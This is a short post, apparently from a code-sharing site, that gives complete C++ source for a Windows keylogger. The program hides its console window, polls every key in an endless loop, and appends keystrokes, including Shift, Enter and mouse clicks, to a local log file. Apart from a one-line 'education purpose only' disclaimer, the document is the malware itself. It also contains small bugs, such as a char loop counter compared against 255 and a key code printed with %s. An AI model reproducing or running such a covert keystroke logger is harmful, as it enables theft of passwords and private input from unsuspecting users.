c++ KeyLogger

c++ keyLogger__winHtut

#include <iostream>
#include <Windows.h>

using namespace std;

int Save(int _key, char *file);

int main() {

	FreeConsole();

	char i;

	while (true) {
		Sleep(10);
		for (i = 8; i <= 255; i++) {
			if (GetAsyncKeyState(i) == -32767) {
				Save(i, "log.txt");
			}
		}
	}
	return 0;
}

int Save(int _key, char *file) {

	cout << _key << endl;

	Sleep(10);

	FILE *OUTPUT_FILE;

	OUTPUT_FILE = fopen(file, "a+");

	if (_key == VK_SHIFT)
		fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
	else if (_key == VK_BACK)
		fprintf(OUTPUT_FILE, "%s", "[BACK]");
	else if (_key == VK_LBUTTON)
		fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");
	else if (_key == VK_RETURN)
		fprintf(OUTPUT_FILE, "%s", "[RETURN]");
	else if (_key == VK_ESCAPE)
		fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
	else
		fprintf(OUTPUT_FILE, "%s", &_key);

	fclose(OUTPUT_FILE);

	return 0;
}

Just for education purpose only